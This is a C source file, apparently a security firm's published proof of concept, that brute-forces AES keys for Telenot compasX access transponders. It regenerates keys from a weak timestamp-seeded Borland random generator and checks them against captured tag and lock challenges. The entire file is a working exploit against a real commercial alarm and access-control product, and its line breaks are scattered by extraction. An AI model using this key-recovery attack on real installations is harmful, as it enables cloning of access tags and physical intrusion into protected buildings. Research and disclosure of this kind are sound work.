1 // Brute forces transponder AES keys generated by Telenot's compasX software
2 // Copyright (C) 2022 X41 D-Sec GmbH, Markus Vervier, Yaşar Klawohn
4 // This program is free software: you can redistribute it and/or modify
5 // it under the terms of the GNU General Public License as published by
6 // the Free Software Foundation, either version 3 of the License, or
7 // (at your option) any later version.
9 // This program is distributed in the hope that it will be useful,
10 // but WITHOUT ANY WARRANTY; without even the implied warranty of
11 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 // GNU General Public License for more details.
14 // You should have received a copy of the GNU General Public License
15 // along with this program. If not, see <https://www.gnu.org/licenses/>.
17 // requires openssl-devel
18 // gcc -o brute_key -march=native -Ofast orginal.c -lcrypto
20 // usage: ./$s <unix timestamp> <16 byte tag challenge> <32 byte lock challenge>
22 // makes it ~14% slower
25 #define __STDC_FORMAT_MACROS
33 #include <openssl/evp.h>
34 #include <openssl/err.h>
39 static uint32_t borland_rand(void) {
40 seed
= (seed
* 22695477) % UINT_MAX
;
41 seed
= (seed
+ 1) % UINT_MAX
;
42 return (seed
>> 16) & 0x7fff;
45 static void borland_srand(uint32_t s
) {
50 static void make_key(uint32_t s
, uint8_t key
[]) {
52 for (int i
= 0; i
< 16; i
++) {
53 key
[i
] = borland_rand() % 0xFF;
57 static void handleErrors(void) {
58 ERR_print_errors_fp(stderr
);
62 // source https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption#Decrypting_the_Message
63 static int decrypt(uint8_t ciphertext
[], int ciphertext_len
, uint8_t key
[], uint8_t iv
[], uint8_t plaintext
[]) {
68 if (!(ctx
= EVP_CIPHER_CTX_new()))
71 if (1 != EVP_DecryptInit_ex(ctx
, EVP_aes_128_cbc(), NULL
, key
, iv
))
74 EVP_CIPHER_CTX_set_padding(ctx
, 0);
76 if (1 != EVP_DecryptUpdate(ctx
, plaintext
, &len
, ciphertext
, ciphertext_len
))
80 if (1 != EVP_DecryptFinal_ex(ctx
, plaintext
+ len
, &len
))
84 EVP_CIPHER_CTX_free(ctx
);
89 static int hexstr_to_byte_array(char hexstr
[], uint8_t bytes
[], size_t byte_len
) {
90 size_t hexstr_len
= strlen(hexstr
);
91 if (hexstr_len
% 16) {
94 if (byte_len
< hexstr_len
/ 2) {
97 char *pos
= &hexstr
[0];
98 for (size_t count
= 0; *pos
!= 0; count
++) {
99 sscanf(pos
, "%2hhx", &bytes
[count
]);
105 int main(int argc
, char *argv
[]) {
107 uint8_t iv
[16] = {0x00};
108 uint8_t key
[16] = {0x00};
109 uint8_t dec_tag
[16] = {0x00};
110 uint8_t dec_rdr
[32] = {0x00};
111 uint8_t tag_challenge
[16] = {0x00};
112 uint8_t lock_challenge
[32] = {0x00};
114 uint64_t timestamp
= 0;
115 sscanf(argv
[1], "%"PRIu64
, ×tamp
);
118 printf("\nusage: %s <unix timestamp> <16 byte tag challenge> <32 byte lock challenge>\n\n", argv
[0]);
122 if (hexstr_to_byte_array(argv
[2], tag_challenge
, sizeof(tag_challenge
)))
125 if (hexstr_to_byte_array(argv
[3], lock_challenge
, sizeof(lock_challenge
)))
129 uint64_t start_time
= time(NULL
);
131 // from a time before up until current time.
132 for (; timestamp
< start_time
; timestamp
++) {
134 make_key(timestamp
, key
);
135 decrypt(tag_challenge
, 16, key
, iv
, dec_tag
);
136 decrypt(lock_challenge
, 32, key
, tag_challenge
, dec_rdr
);
138 // check rol byte first
139 if (dec_tag
[0] != dec_rdr
[31]) continue;
142 if (dec_tag
[1] != dec_rdr
[16]) continue;
143 if (dec_tag
[2] != dec_rdr
[17]) continue;
144 if (dec_tag
[3] != dec_rdr
[18]) continue;
145 if (dec_tag
[4] != dec_rdr
[19]) continue;
146 if (dec_tag
[5] != dec_rdr
[20]) continue;
147 if (dec_tag
[6] != dec_rdr
[21]) continue;
148 if (dec_tag
[7] != dec_rdr
[22]) continue;
149 if (dec_tag
[8] != dec_rdr
[23]) continue;
150 if (dec_tag
[9] != dec_rdr
[24]) continue;
151 if (dec_tag
[10] != dec_rdr
[25]) continue;
152 if (dec_tag
[11] != dec_rdr
[26]) continue;
153 if (dec_tag
[12] != dec_rdr
[27]) continue;
154 if (dec_tag
[13] != dec_rdr
[28]) continue;
155 if (dec_tag
[14] != dec_rdr
[29]) continue;
156 if (dec_tag
[15] != dec_rdr
[30]) continue;
159 printf("\btimestamp: %" PRIu64
"\nkey: ", timestamp
);
160 for (int i
= 0; i
< 16; i
++) {
161 printf("%02x", key
[i
]);
167 printf("key not found\n");